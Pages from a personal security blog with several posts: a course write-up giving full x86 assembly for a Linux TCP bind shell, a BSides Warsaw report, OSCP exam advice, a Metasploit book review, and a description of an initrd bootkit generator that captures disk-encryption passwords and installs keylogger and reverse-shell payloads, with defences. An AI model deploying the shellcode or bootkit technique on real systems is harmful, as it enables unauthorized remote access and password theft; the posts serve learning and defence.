czwartek, 27 października 2016

SLAE 0x1 Simple TCP bind shell for Linux

In the begining: all the code mentioned in this post is available at: my github account


I wanted somehow to start my adventure with exploiting. First I went to where you can find many fantastic tutorials. However they were too difficult to me to be fully understood. And then I found securitytube with its "Securitytube Linux Assembly Expert" (SLAE). Although after learning all the materials available I feel rather a beginner than an expert, the course in quite coherent way introduces assembler and shellcoding.

The best motivation is to put some money in a challenge, therefore I have bought SLAE certification, and to get certified I have to complete some coding tasks. Each task requires me to put its solution on Github and to write a blog post describing my solution. The first task is to write a bind shell.



The shellcode is just a simple program that creates a socket, puts it in listening state and then runs a shell that a connecting client can interact with. The 'pseudocode' is a simple overview of the program containing the logical blocks. I did not write a C program in the begining, however after all I regret that decision and further tasks will be solved with first writing a C code

create socket;
prepare structure for binding;
bind socket to a port;
put socket in listening state;
accept incoming connections on socket;
redirect std(in/out/err) to socket;
Example C code can be found e.g. on, although my code is a bit less complicated.

Creating socket

  ; creating SOCKET
  xor eax,eax
  xor ebx,ebx
  xor ecx,ecx
  push eax     ; push 0 on stack, stack now contains value 0
  mov al, 102  ; ax contains call number of socket
  mov bl, 1
  push ebx     ; push 1 on stack, stack now contains 0 and 1 (SOCK_STREAM)
  mov cl,2
  push ecx     ; push 2 on stack, stack now contains 0, 1 and 2 (AF_INET)

  mov ecx, esp ; save the pointer to arguments in ecx
               ; arguments are on stack in reverse order bottom-top (0, 1, 2)
               ; and poping them will recover the correct order (2, 1, 0)  
  int 0x80     ; call socket() syscall

  mov esi, eax ; store socket_file_descriptor in the esi register

socket() is a syscall and each syscall contains its own number in the operating system. Such a number can be found in /usr/include/i386-linux-gnu/asm/unistd_32.h. Simple cat + grep shows that socket's number is 102.
For this and the next syscalls you may encounter, if you want to read some details, try running manual, e.g. man socket, or if that will show some irrelevant results, try the next 'page', man 2 accept.
But how to call socket? Let's check in manual (man socket):
int socket(int domain, int type, int protocol);
Domain is the protocol type used. In the same manual page you can see, that for the IPv4 it is AF_INET.
Type defines "communication semantics" what simply means that it is higher layer protocol. As we are interested in TCP, SOCK_STREAM would be our choice.
Protocol is generally not used because there is mostly theoretical possibility that there may be more than one protocol within domain. For normal use, 0 is the correct value.
The returned value is a socket file descriptor (in unix everything is a 'file').
Therefore our call is as follows:
sock_file_descriptor = socket(AF_INET, SOCK_STREAM, 0)
The constants used may be found in /usr/include/i386-linux-gnu/bits/socket.h and their respective values are: 2 and 1. So our call to socket() should be: sockfd = socket(2, 1, 0);

Going back to the code, there are three xors. These instructions puts 0 in the particular registry without having the "0" value in the resulting code, what is very important, as the resulting code cannot have any NULL bytes.
Later, the 0 value is pushed onto the stack. Just after that, eax value is set to 102 (the syscall number of socket()) what will be needed further. After setting eax, ebx and ecx are set to 1 and 2 and pushed onto stack. Stack then contains

Stack pointer is saved in the ecx registry and the syscall is being executed through the int call. The call would then run syscall with number in eax with arguments in ebx and ecx. The ebx is interesting because it contains value "1" which is re-used both in pushing to stack and in calling socket - SYS_SOCKET in file /usr/include/linux/net.h is defined with value 1. Ecx contains the address to the stack and poping off the stack all the arguments will put them in correct order: 2, 1 and 0.

The result of calling int 0x80 is the socket file descriptor and is is being put in eax registry. As that registry will be used heavily, that value is saved in the esi registry.

Bind socket

; opening SOCKET on port 4444
  xor ecx,ecx    ; ecx zeroing to ease the port number manipulating
  xor edx,edx    ; edx zeroing to be able to push 0 onto the stack
  push edx       ; INADDR_ANY
  mov cx, 4444
  xchg ch,cl     ; because htons(port) reverses bytes
  push ecx
  xor ax,ax
  mov al, 2      ; AF_INET
  push ax        ; ax, not eax because this is part of the structure and 
                 ; is 16-bits long                            
                 ; stack now has (INADDR_ANY, port_no,protocol_family)

  mov ecx, esp   ; save the pointer to the args in ecx registry

Bind() call requires a special structure of data as argument, read man 2 bind. The value of INADDR_ANY taken from /usr/include/netinet/in.h is 0 - we want to accept any connection from client. We are going to push it onto stack and then the port number. Therefore we push first 0. Then the 16-bit port number is being put in the cx registry. Since the structure requires the port to be the result of htons(port), in the next instruction the xchg is being called to swap bytes. After all, ecx is being pushed onto stack.
the protocol (AF_INET) family number is being pushed so the stack looks as follows:


Resulting stack pointer is being copied to the ecx registry for further use.
Having the data prepared, it is time to call the bind() syscall:

; calling bind() syscall
  ; in the file /usr/include/linux/net.h
  ; bind call has the value 2
  ; therefore we should use that value to point the operation   
  ; that we do with a socket

  mov al, 102  ; ax contains call number of socket syscall
  mov bl, 2    ; socket call type number, 2 = bind
  mov dl,16    ; size of sock_address structure
  push edx
  xor edx,edx  ; zeroing again
  push ecx     ; pointer to the structure, created 6 instructions above
  push esi     ; push socket_file_descriptor on stack
  mov ecx, esp ; save the pointer to args in ecx registry
  int 0x80     ; call socket call type bind with particular port

Again, all the registries need to be initiated with proper values:
eax - 102, the number of socket() syscall
ebx - 2, the number of bind() call in /usr/include/linux/net.h
edx - 16, the size of the structure generated before
Then comes the 'magic': edx, ecx and esi are pushed onto stack. The stack pointer is copied to ecx because ecx should contain pointer to arguments of bind() call. And these arguments are the file descriptor, the connection structure and the size of connection structure. The last thing is obvious - having initiated everything we are calling the syscall for bind().

Putting socket in listening state

  mov al, 102  ; ax contains call number of socket syscall
  mov bl, 4    ; socket call type number, 4 = listen
  push edx     ; backlog (==0)
  push esi     ; push socket_file_descriptor on stack
  mov ecx, esp ; save the pointer to args in ecx registry
  int 0x80

This part is fortunately very short :-) Again we are initiating eax with the socket() syscall number but now we are calling listen(), represented by the number 4 in `/usr/include/linux/net.h`. Listen() call requires two parameters: the socket file descriptor and something called "backlog", which can be set to 0 and forgotten. Those two values are pushed onto the stack and set in ecx as the pointer to arguments. Finally the syscall is being executed

Accepting connections

  mov al, 102  ; ax contains call number of socket syscall
  mov bl, 5    ; socket call type number, 5 = accept
  push edx     ; addrlen
  push edx     ; addr
  push esi     ; push socket_file_descriptor on stack
  mov ecx, esp ; save the pointer to args in ecx registry
  int 0x80

We are almost done with socket manipulating. The last call is for accept(), which has number 5 in /usr/include/linux/net.h. Accept() call requires three parameters described in man 2 accept`:
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
Since second and third parameters are not used, they may be 0 and the call simplifies itself. 

Redirect all the basic streams to socket

Having the socket handler open and ready, you need to remember to redirect all the I/O streams to it to allow the shell to be fully interactive. Dup2 is the syscall that does the stream duplication.

  ; saving client connection file descriptor
  mov ebx, eax ; save the incoming connection's file descriptor
  xor ecx, ecx ; zeroing ecx before the loop
  mov cl, 3    ; counter for the loop


  mov al, 63  ; syscall for dup2()
  int 0x80
  dec cl      ; decrementing the loop counter
  jns stdloop ; loop until the sign flag is not set
              ; it cannot be jnz because we really want                               
              ; to execute loop on 0 counter

First we need to save the result of accept() call, we do that in ebx registry. Then we set ecx to 3 which is the loop counter as we want to run the loop three times.
In loop we first set the dup2 syscall number in eax and then we call the syscall. After all we decrement the loopcounter and test if we hadn't reached -1. If so, we do not the loop again and we go to executing the shell.
First call of dup2() will have parameters ebx,ecx and in c it would look like dup2(clientfd, 3), so now file descriptor number 3 is clientfd
Second call of dup2() would look like dup2(clientfd, 2), so clientfd now replaced stderr
Second call of dup2() would look like dup2(clientfd, 1), so clientfd now replaced stdout
Second call of dup2() would look like dup2(clientfd, 0), so clientfd now replaced stdin

So - clientfd is saved in descriptor 3 and everything will be redirected to the socket represented by clientfd.

Execute shell

  ; all std's have been redirected
  ; finally - run SHELL
  mov   al, 11           ; The syscall number of execve
  push  edx              ; push null - the string-terminating character
  push  0x68736162       ; hsab
  push  0x2f6e6962       ; /nib
  push  0x2f2f2f2f       ; ////
  mov   ebx,esp          ; Store pointer to executable's name in registry
  push  edx              ; push null - the envp must be null
  push  ebx              ; push pointer to the executable path - the 
                         ; first argument of execve 
  mov   ecx,esp          ; save pointer to the argv (pointer to string 
                         ; with executable + null)  
  int   0x80             ; run 
                         ; execve("////bin/bash", argv, NULL) 
                         ; the last NULL is in edx

The first thing in this block of code, just after initialising eax with a proper syscall number, is to put some strange fixed values onto the stack. In the code these values are commented with strings, which read backwards would result in NULL, 'bash', 'bin/' and '////. Putting all the vaules together gives us written backwards path to the executable: '////bin/bash'
Why backwards? Because we need them on the stack and this is the simplest way.
You can put any executable name here and getting that 'strange' numbers (representing ASCII values of the string characters) is possible with the following script. To ease such a task, I have created a simple python tool
What is important, is that the length of the executable should be a multitude of 4. Therefore, if you have a string of e.g. 9 bytes length, you must somehow extend it to 12 or 16 etc. bytes.
Taking "/bin/bash" as example, you may add additional '/' characters resulting in "////bin/bash" which is 12 bytes long string. To have the proper hex values just run `python "////bin/bash"`

Wow - that was a bit long explanation but you now should understand where from those 'magic values' came out.
After pushing the string onto a stack, we store the pointer to the string in ebx.
Then we must store in registries the final arguments of execve call:
edx - envp - NULL, we do not want to pass anything to bash
ecx - argv - pointer to the structure containing address of the executable and NULL.
ebx - executable - pointer to the executable's name

And finally the syscall :-)

Basic usage

OK, so cool assembly, but what next?
I have created some scripts to ease the process of compiling and testing the shellcode. They are described in on Github, however the one 'fire and forget' is Running it with assembly file as argument will compile and link assembler code plus create and compile a simple c program to test the shellcode (some kind of integration test). In case of this bind_shell.nasm, the syntax would be: ./ bind_shell

I hope that if you managed to get here, you understand the shellcode logic and now you can create your own bind shell for Linux.

Mandatory footer to get certified:

Student ID: SLAE-769

poniedziałek, 24 października 2016

Security BSides Warsaw 2016

About a year ago I had a honour to be a speaker at the Security BSides 2015 and you can watch it here. Shomehow I didn't share my experience, but as the event is annual, I would like to describe what happend this year.

The event

It is 3-day lasting free IT Security conference in Warsaw, the capital of Poland. Event is organised by people from the IRC channel #listekklonu on pirc network. Leading person is piatkosia. Most of the presentations are in polish, however there were some english ones and organisers are very open to have more speakers from abroad.

Tickets and crowdfunding

As I mentioned, the event is free, but that does not mean that everything is costless. Organisers started crowdfunding campaing on site. The threshold was 5600 zł and they managed to get 6000 zł. The capacity of the conference room was limited and there were some tickets available. They were splitted to three parts: the small part was available on the crowdfunding, and the rest was divided to two halves of 75 seats. One was completely free and the other was about 12 zł each. The paid tickets were cheap and knowing how hard it is to organise an event, I have bought one.

The place

Event was located in Państwo Miasto at Andersa 29. On the ground floor there is a small restaurant with moderately expensive food an drinks, however very tasty. On the first floor there are some non-goverment organisations and medium-size conference room. The room has two disadvantages. Most notable is lack of air - with about 150 people it is very hard to not yawn or even faint on hot days. Between presentations there is a mandatory break for refreshing the air. Pro tip: Sit at the very back, so you would get air from back window and the doors. The other disadvantage is the visibility of the white screen (on which the image of the presentation is displayed). It is very low and the ceiling construction would cover it if it would be higher. Pro tip: while sitting at back, sit against the column without seats - therefore you would see much more than sitting behind people. Nevertheless, the higher standard of conference room would cost serious money and may influence the atmosphere of hacker's meeting.


I was a bit late and my named badge was waiting for me and few promotional materials (newspaper, paper notebook etc.). Upstairs there was a presentation ongoing, organisers were where they should be, speakers got their free lunch and there was an after party. What would you expect more? Well, you might expect that every speakers would be on time. This is nothing wrong with the organisers but some speakers cancelled their presentations in the last minute. There were therefore numerous changes in the agenda and only due to hard work of piatkosia and the rest of the team (prezes, xaxes, nikow and others that I don't know).

Most interesting presentations

Well, It is very hard to point the best among so many well candidates. Therefore I would like to single out four most interesting to me. Many more were at least good and were presented by well-recognised people. Even more - these presentations will be presented at way more recognised events as Secure, Confidence etc.

Mateusz Szymaniec, Jarosław Jedynak - "Jak zdobyć flagę" ("How to capture the flag?"
Speakers are the founders of the CTF team p4 They spoke about CTF - what it is, what are the kinds of tasks and what was needed to capture the flag in some example challenges. Quite a good introduction made by one of the top teams. What is worth mentioning, they told how CTF influenced their professional career.

Miłosz Kaniewski - TLS 1.3: Co nowego? ("What's new in TLS 1.3")
This presentation was exactly what it should be: what is wrong in TLS 1.2 and what is being proposed in TLS 1.3 to address the known issues of current implementations (e.g. no CBC mode of AES, no 3DES etc.)

Mateusz Kocielski - "Make DragonflyBSD great again?"
Mateusz also known as shm or akat1 told about how he noticed an error in DragonflyBSD and how he exploited it. Pretty awesome skills and in effect: root. It was a very well-spoken and coherent story. There was a little surprise when the prepared example didn't work but Mateusz momentarily understood the problem and resolved it explaining why it didn't work at the first time.

Adam Haertle - Wlamania do bankow z łomem i bez ("Bank robbing with and without the crowbar")
Adam told the audience about bank robberies which took place in the last decacade or so. It was a fascinating story about the physical (in)security. What is worth remembering: the bank trays are very secure and even having two days of full access, robbers are able to break into about 10% of them.
Later he told about latest e-bank robberies with keyboard used instead of the crowbar. Among them the most notably is the theft of $80 mln from Bangladesh central bank.

After party

What happens at BSides stays at BSides :) That's all what I would say. Great people, great beer and [top secret] :)


It was a great event and I really do have a great hope that in 2017 it will take place again. It will be almost impossible to have such quality progress as it was between 2015 and 2016 editions so, organisers, especially patkosia: I challenge you :-)
I definitely will be present in 2017 since I consider this event as one of the most interesting IT Security events in Poland. Well done :-)

Someone may be asking, why I am writing in english about the conference in polish. This blog is in english and there may be no speakers from abroad if there will be no articles about Security BSides Warsaw in english. How else would you know about such an event abroad?

sobota, 16 lipca 2016


Recently I managed to pass the Offensive Security Certified Professional exam and became an OSCP. I will not go into detailed review as there are plenty of them available out there. However I would like to share a bit of my experience and maybe a bit of advice to those of you who hesitate.

It is worth to start from the beginning

It is a hacking course so you may want to start hacking in the first place. Unless you are already skilled penetration tester, I would advise you to go step by step the materials first. And by that I mean reading the material from particular chapter, then watching the video from that chapter and then writing the homework report part (if there is any - but for most chapters it is). It should pay on the exam when you will encounter something that you somehow did not try or exploit successfully.
What I did wrong, was watching all the videos and then reading materials and after that doing the homework. I doubled or tripled my time spent on the tasks.

Start with the low hanging fruits

Yeah, I hated that sentence. But after you finish all the homework, the lowest fruits should be obvious, you are even encouraged to detect some of them. After that I really did not know, what to attack next. You may think that the forum may help and it helps in detecting the most difficult targets. But there is no key to detect the easiest ones - I just tried hosts from the beginning of the IP range to the end. Many of the machines took me about a day to hack into it, despite the forum users writing about being stuck.

Fail fast and furious

You have to learn to fail fast (but not too fast, of course) and to grow that sport kind of anger in you. Some of the machines just ARE difficult (for you) and it may be reasonable to move along to the next machine when you cannot move further for a day or so and to come back later and show that f*** virtual host that you are the one to master it :) Just take notes as you go so you can start from the place of failure.

Take notes, create report

As a penetration tester you will learn that what is your client paying for is not a hacking into their infrastructure but a report. So do your report from your homework and do report from a particular host just after rooting it. Do not wait as you will definitely forget something and your notes may not suffice. After the lab you will book the exam and what is needed then is the rest without the stressful experience of creating 200-300 pages of lab/homework report. My report was 200+ pages and it is nothing special, there are reports of 300+ pages from the lab depending of your writing skill and screenshots taken. Such a report not only gives you additional points on exam but will be helpful during the exam.

The target network

The lab network contains many hosts but it is not the target. Your target is the admin network and you have to get to it. In my opinion it is really worth it, especially because it is a perfect environment to overcome the difficulty of pivoting and running payload in another network.
I personally managed to own about 75% of that network and found it to be a lot of fun and challenge.
All in all - the lab's purpose is to simulate the real company with real segmentation.

The extra time

I bought 90 days of lab. It should be enough to hack into most of the machines, however I failed to use that time well. Family issues, work issues, the need for rest etc.
I also failed to notice that each prolonging of the lab gives me free exam attempt. Therefore I probably could pass an exam at least one month earlier.

The exam

Kick off all your family - you really need 48h of quiet, peaceful environment. You also need your stuff such as all the monitors, mouse etc. Plan the exam earlier to be able to book the morning hours (about 10 am should be fine). My first attempt started about 18:00 and it was way too late. Exam is very challenging and during the exam I learned and mastered the hacking technique which I didn't have opportunity to meet in the lab (and it was barely signalised in the lab). Do not forget about sleep. I failed to rest on the first attempt and that resulted in the brain overusage.
Write your report in detail, take your time. I am meticulous so it took me about 6 hours of work in total.

The failure

I was sooooooo close, couple of roots, couple of unprivileged shells and a good idea how to attack the rest and the time finished. Not enough rest and a bit of bad luck.
On the second (and final) attempt I was able to do almost all hosts in full and the last one - It was very close but I lacked about 5 minutes. The key really is to take the rest or even a nap or two. Try harder, but not too hard, as you have to use the 100% of yourself and not resting is the recipe for failure. After the second attempt I was quite sure that I passed but  only when I received the email from offsec I understood why the OSCP community is like war veterans. Only those who tried harder know that feeling :-)

Was it worth?

Definitely yes. I learned how to write a professional pentest report, how to effectively own hosts and what to look for. Before the course I thought I knew quite a lot. During those months I learned a lot more, especially about Windows which I normally do not use at all. Learned not only about hacking but also about the pentester's routine. All in all - for almost half of the year I was a part-time pentester hacking into medium-sized organisation. I really loved that feeling of gaining root privileges, hacking into another networks... Pure pleasure.
I also enjoyed the exploitation part (OSCP is just scratching the surface) so I will probably take my chance and Crack The Perimeter - we'll see.

czwartek, 5 listopada 2015

Review of "Metasploit: The Penetration Tester's Guide"

Recently I have purchased a book about The Metasploit Framework. The book starts slowly with the basics - what is the penetration test and what is not. Quite rapidly the reader is forced to dive deep into technical details - which is why I bought the book.
First - we are being told some technical basics - what is a shellcode, what is listener and how is metasploit built. Suddenly you know some entry points, e.g. MSFencode, MSFPayload, MSFCli and so on.
The book has no random chapters - the first two introduced the methodology and the basics of the main tool. In the next chapters we are doing a penetration test step by step. Starting with information gathering, vulnerability scanning we then learn how to maintain access using various techniques and how to avoid detection.
After that part the authors did not rest - they wrote a few chapters about other hacking techniques such as client-side attacks and social engineering - introducing another great tool: Social-Engineering Toolkit.
They also didn't forget about writing own modules for metasploit and creating own exploits. However own exploits are very underexplained - I really have no idea, how someone not already at least good in exploitation can understand how it works after reading that chapter. I know that that deserves to be detailed in a completely new book but I felt a bit disappointed because they didn't even wrote about bypassing DEP and ASLR.
The last chapters are about Meterpreter's own scripting language and simulated penetration test of 'Metasploitable' machine.
What I find the most useful, are the examples of use with real LHOST/ RHOST etc. values what makes the whole much more understandable.
Generally I found that book very useful - I learned about the basics and was able to test Metasploit against a test machine without any problem. Few things could be improved but if you want a good, technically correct starting point - that book is definitely perfect.
You may have some doubt because of the publishing year: 2011. That is an epoch in IT Security. However the Metasploit didn't change substantially and most of the knowledge (remember: basics!) is still valid. The book's knowledge is not too outdated to be obsolete and although the particular exploits changed, the mindset did not.

poniedziałek, 12 stycznia 2015

Breaking into encrypted Linux box - Kitgen*

Linux allows users to use the so-called Full Disk Encryption and additionally the user's home directory. You can even use them simultaneously - double encryption is not the same as doubled ROT-13 ;-). However, encrypting the "whole" disk does not encrypt it totally and it is possible to steal the encryption password and leave backdoor in the user's system. Once you backdoor the system, the encryption is no longer the real data protection.

How does the booting process work?

On /boot partition there are vmlinuz and initrd files. The latter contains compressed RAM-disk image
In simple words (I do not want here to dive into BIOS details), during the boot process the initrd image is decompressed and becomes the basic system which allows the main system to run. The "init" process is responsible for running the system and if before that can occur - cryptsetup must be involved to decrypt the hard drive.

The problem

Imagine that you are the penetration tester and you have to hack into a workstation running Ubuntu, which are not so rare amongst the IT staff (Ubuntu is just an example, as this is the most popular distro). You boot the system, but you soon realise that the hard drive has been encrypted. One may think about the physical key logger but it is not an easy or even possible idea to implement with a laptop. With even a medium-strength password it may not be possible to decrypt the hard disk using a brute force techniques in a reasonable time frame.

The solution

You can boot that machine from the USB pen drive. Of course there may be some difficulty but it is always possible to overcome. Then you run already prepared bootkit and after the next correct booting the system by the legitimate user you will have remote root on that machine along with software key logger. It has been demonstrated on video here:

Preparing the bootkit

When you clone kitgen from GitHub, you see a bunch of shell scripts. Let's assume that your target runs Ubuntu 14.04 LTS with x86_64 architecture. Under kitgen/ubuntu_14.04_x86_64/binaries directory you see a script If your pen drive's system is also Ubuntu, you can run that script. If it is other system - please copy to that directory binaries from Ubuntu, which you have to install somewhere else. The list of needed binaries is included within the get_binaries script.
I do not want to break the GPL and therefore it is not possible to distribute Linux binaries without providing the source code.

Also, under binaries, there is a payload directory. It should contain payloads which I intentionally did not include. But you have detailed instructions in payload/generators.

The last thing is to run kitgen/ which is a generator - it prepares the real bootkit script  suitable to your needs - the targeted distro and the payloads' list of your choice.

How does it work?

When you run kitgen/ after booting the victim from pen drive, the script mounts /boot partition and unpacks the initrd image on pen drive under kitgen/work_* directory. That image contains under scripts/local-top directory the file called cryptroot. This is a shell script which is responsible for decrypting the hard disk. injects password capturing into that process and a shell payload. That payload uses the captured password to mount the encrypted partition and modify the system files. Only your imagination limits the possibilities, however three example payloads are included as a proof-of-concept.
The script also copies the binaries to the unpacked image because the basic image does not contain e.g. mount or mkdir capa. 
The last stage is to pack again the initrd file and to put it on the /boot partition. That's all.

The payloads

I have included three payloads. 
The first is a key logger. You can of course make it somehow with the root access but such an access is not always possible. And having key logger log file with the next physical access attempt may give you all the data (the password for encrypted disk is also written on /boot - look at the file configuration). 
The second one is Meterpreter's reverse shell, very usable when you are running the Metasploit. 
The third one is simple bash TCP reverse shell which only needs an IP and a port to run. You can always add your own or make some suggestions through a pull request.

How can you prevent such infection?

Basically... you cannot. But you can greatly reduce the risk. Below there are a few solutions that are worth mentioning and their analyses.

- Booting from USB - In my opinion the best and most cost-efficient option. If both GRUB and /boot partition are not on the machine but on a separate pendrive, there is no practical way of breaking it without capturing the USB pen drive. Protecting the pen drive is much more easier than protecting the whole laptop and requires the attacker to have a physical access to two things, not only one.

- Calculating the checksum of /boot - You can calculate /boot checksum from the external pen drive to verify its authencity - it looks quite good if you will do it at each and every boot attempt. You can even combine that method with the first one but it greatly reduces the usability. Of course after each kernel update you will have to update the checksum.

- Using TrustedGRUB - This method utilises the TPM and looks fine but... it is not well supported method and you are basically in a dead end with unsupported bootloader.

- Blocking BIOS/USB/CD/Everything - It is not a protection, it is only a minor difficulty. The attacker may simply use a screwdriver, get your disk out to their machine and then use what they need to infect. And also the machine's user will hate you and will try to work around your security means what is very dangerous.

Is such an attack a new concept?

Infecting initrd is definitely not a new idea, however such a generator greatly simplifies things and put some light on not a very popular attack vector. Many people using Linux are not aware of the initrd weakness and I was also surprised when I discovered that grabbing user's encryption password is such an easy task. In my opinion it shouldn't be. But nowadays, when BadUSB and Thunderstruck are in the wild, that is a minor problem. Remember that generally, when the attacker has physical access to your machine, they own it.


You MUST NOT use the Kitgen nor the techniques described here against the system whose owner did not give you a clear permission to do so. Doing so may put you in jail and may result in financial responsibility. I am not responsible in any way for any harm that you may cause by any accidental or intentional use of described hacking method. You are acting on your own and I strongly recommend to do a backup copy and to re-assure the permission before taking any action.


*Kitgen itself:

The main concept utilises the knowledge from the pages below:
  2. - comment 11
Also worth mentioning are:

sobota, 4 stycznia 2014

Getting started

I somehow have to start this blog - this is the hardest thing. My blog will concentrate on IT subjects that will come across my attention.
I am an IT security guy so now you know what to expect.